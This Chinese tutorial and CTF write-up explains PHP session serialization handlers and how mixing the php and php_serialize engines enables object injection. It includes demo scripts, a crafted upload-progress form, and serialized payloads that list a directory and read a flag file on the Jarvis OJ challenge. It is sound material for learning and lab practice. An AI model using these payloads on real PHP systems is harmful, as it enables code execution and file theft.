先來了解一下關於session的一些基礎知識
什么是session?
在計算機中,尤其是在網絡應用中,稱為“會話控制”。Session 對象存儲特定用戶會話所需的屬性及配置信息。這樣,當用戶在應用程序的 Web 頁之間跳轉時,存儲在 Session 對象中的變量將不會丟失,而是在整個用戶會話中一直存在下去。當用戶請求來自應用程序的 Web 頁時,如果該用戶還沒有會話,則 Web 服務器將自動創建一個 Session 對象。當會話過期或被放棄后,服務器將終止該會話。
session是如何起作用的
當第一次訪問網站時,Seesion_start()函數就會創建一個唯一的Session ID,並自動通過HTTP的響應頭,將這個Session ID保存到客戶端Cookie中。同時,也在服務器端創建一個以Session ID命名的文件,用於保存這個用戶的會話信息。當同一個用戶再次訪問這個網站時,也會自動通過HTTP的請求頭將Cookie中保存的Seesion ID再攜帶過來,這時Session_start()函數就不會再去分配一個新的Session ID,而是在服務器的硬盤中去尋找和這個Session ID同名的Session文件,將這之前為這個用戶保存的會話信息讀出,在當前腳本中應用,達到跟蹤這個用戶的目的。
除此之外,還需要知道session_start()這個函數已經這個函數所起的作用:
當會話自動開始或者通過 session_start() 手動開始的時候, PHP 內部會依據客戶端傳來的PHPSESSID來獲取現有的對應的會話數據(即session文件), PHP 會自動反序列化session文件的內容,並將之填充到 $_SESSION 超級全局變量中。如果不存在對應的會話數據,則創建名為sess_PHPSESSID(客戶端傳來的)的文件。如果客戶端未發送PHPSESSID,則創建一個由32個字母組成的PHPSESSID,並返回set-cookie。
了解了有關session的概念后,還需要了解php.ini中一些Session配置
1 session.save_path="" --設置session的存儲路徑 2 session.save_handler=""--設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式) 3 session.auto_start boolen--指定會話模塊是否在請求開始時啟動一個會話默認為0不啟動 4 session.serialize_handler string--定義用來序列化/反序列化的處理器名字。默認使用php
這里我是在Windows上搭建的所以顯示的路徑為E盤,如果是在Linux上搭建的話,常見的php-session存放位置有:
1 /var/lib/php5/sess_PHPSESSID 2 /var/lib/php7/sess_PHPSESSID 3 /var/lib/php/sess_PHPSESSID 4 /tmp/sess_PHPSESSID 5 /tmp/sessions/sess_PHPSESSED
想要知道為什么為出現這個session漏洞,就需要了解session機制中對序列化是如何處理的
php_binary:存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值 php:存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值 php_serialize(php>5.5.4):存儲方式是,經過serialize()函數序列化處理的值
這個便是在相應的處理器處理下,session所存儲的格式,這里舉個例子來了解一下在不同的處理器下,session所儲存的格式有什么不一樣(測試的時候php版本一定要大於5.5.4,不然session寫不進文件))
1 <?php 2 ini_set('session.serialize_handler', 'php'); 3 //ini_set("session.serialize_handler", "php_serialize"); 4 //ini_set("session.serialize_handler", "php_binary");
5 session_start(); 6 $_SESSION['lemon'] = $_GET['a']; 7 echo "<pre>"; 8 var_dump($_SESSION); 9 echo "</pre>";
比如這里我get進去一個值為shy,查看一下各個存儲格式:
php : lemon|s:3:"shy"; php_serialize : a:1:{s:5:"lemon";s:3:"shy";} php_binary : lemons:3:"shy";
這有什么問題,其實PHP中的Session的實現是沒有的問題,危害主要是由於程序員的Session使用不當而引起的。如:使用不同引擎來處理session文件。
使用不同的引擎來處理session文件
php引擎的存儲格式是鍵名 | serialized_string,而php_serialize引擎的存儲格式是serialized_string。如果程序使用兩個引擎來分別處理的話就會出現問題。
下面就模仿師傅的操作學習一下
先以php_serialize的格式存儲,從客戶端接收參數並存入session變量
1.php
1 <?php 2 //ini_set('session.serialize_handler', 'php');
3 ini_set("session.serialize_handler", "php_serialize"); 4 //ini_set("session.serialize_handler", "php_binary");
5 session_start(); 6 $_SESSION['lemon'] = $_GET['a']; 7 echo "<pre>"; 8 var_dump($_SESSION); 9 echo "</pre>"; 10 ?>
接下來使用php引擎讀取session文件
2.php
1 <?php 2 ini_set('session.serialize_handler', 'php'); 3 session_start(); 4 class student{ 5 var $name; 6 var $age; 7 function __wakeup(){ 8 echo "hello ".$this->name."!"; 9 } 10 } 11 ?>
攻擊思路:
首先訪問1.php,在傳入的參數最開始加一個'|',由於1.php是使用php_serialize引擎處理,因此只會把'|'當做一個正常的字符。然后訪問2.php,由於用的是php引擎,因此遇到'|'時會將之看做鍵名與值的分割符,從而造成了歧義,導致其在解析session文件時直接對'|'后的值進行反序列化處理。
這里可能會有一個小疑問,為什么在解析session文件時直接對'|'后的值進行反序列化處理,這也是處理器的功能?這個其實是因為session_start()這個函數,可以看下官方說明:
首先生成一個payload:
3.php
1 <?php 2 class student{ 3 var $name; 4 var $age; 5 } 6 $a = new student(); 7 $a->name = "daye"; 8 $a->age = "100"; 9 echo serialize($a); 10 ?>
結果:
O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}
攻擊思路中說到了因為不同的引擎會對'|',產生歧義,所以在傳參時在payload前加個'|',作為a參數
payload:
|O:7:"student":2:{s:4:"name";s:4:"daye";s:3:"age";s:3:"100";}
訪問1.php,查看一下本地session文件,發現payload已經存入到session文件
php_serialize
引擎傳入的payload作為lemon對應值,而php
則完全不一樣:
訪問一下2.php看看會有什么結果
成功觸發了student類的__wakeup()方法,所以這種攻擊思路是可行的。
沒有$_SESSION變量賦值
在PHP中還存在一個upload_process機制,即自動在$_SESSION中創建一個鍵值對,值中剛好存在用戶可控的部分,可以看下官方描述的,這個功能在文件上傳的過程中利用session實時返回上傳的進度。
但第一次看到真的有點懵,這該怎么去利用,看了大師傅的博客才明白,這種攻擊方法與上一部分基本相同,不過這里需要先上傳文件,同時POST一個與session.upload_process.name的同名變量。后端會自動將POST的這個同名變量作為鍵進行序列化然后存儲到session文件中。下次請求就會反序列化session文件,從中取出這個鍵。所以攻擊點還是跟上一部分一模一樣,程序還是使用了不同的session處理引擎。
實踐一下,可以來看一道ctf題目
Jarvis OJ——PHPINFO
當我們隨便傳入一個值時,便會觸發__construct()魔法函數,從而出現phpinfo頁面,在phpinfo頁面發現
發現默認的引擎是php-serialize,而題目所使用的引擎是php,因為反序列化和序列化使用的處理器不同,由於格式的原因會導致數據無法正確反序列化,那么就可以通過構造偽造任意數據。
觀察代碼會發現這段代碼是沒有$_SESSION變量賦值但符合使用不同的引擎來處理session文件,所以這里就使用到了php中的upload_process機制。
通過POST方法來構造數據傳入$_SESSION,首先構造POST提交表單
1 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
2 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
3 <input type="file" name="file" />
4 <input type="submit" />
5 </form>
接下來構造序列化payload
1 <?php 2 ini_set('session.serialize_handler', 'php_serialize'); 3 session_start(); 4 class OowoO 5 { 6 public $mdzz='payload'; 7 } 8 $obj = new OowoO(); 9 echo serialize($obj); 10 ?>
將payload改為如下代碼:
1 print_r(scandir(dirname(__FILE__))); 2 #scandir目錄中的文件和目錄
3 #dirname函數返回路徑中的目錄部分
4 #__FILE__ php中的魔法常量,文件的完整路徑和文件名。如果用在被包含文件中,則返回被包含的文件名
5 #序列化后的結果
6 O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
為防止雙引號被轉義,在雙引號前加上\,除此之外還要加上|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
在這個頁面隨便上傳一個文件,然后抓包修改filename的值
可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php這個文件,flag肯定在里面,但還有一個問題就是不知道這個路徑,路徑的問題就需要回到phpinfo頁面去查看
$_SERVER['SCRIPT_FILENAME'] 也是包含當前運行腳本的路徑,與 $_SERVER['SCRIPT_NAME'] 不同的
既然知道了路徑,就繼續構造payload即可
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php")); #file_get_contents() 函數把整個文件讀入一個字符串中。
接下來的就還是序列化然后改一下格式傳入即可,后面的就不再寫了
參考:https://xz.aliyun.com/t/7366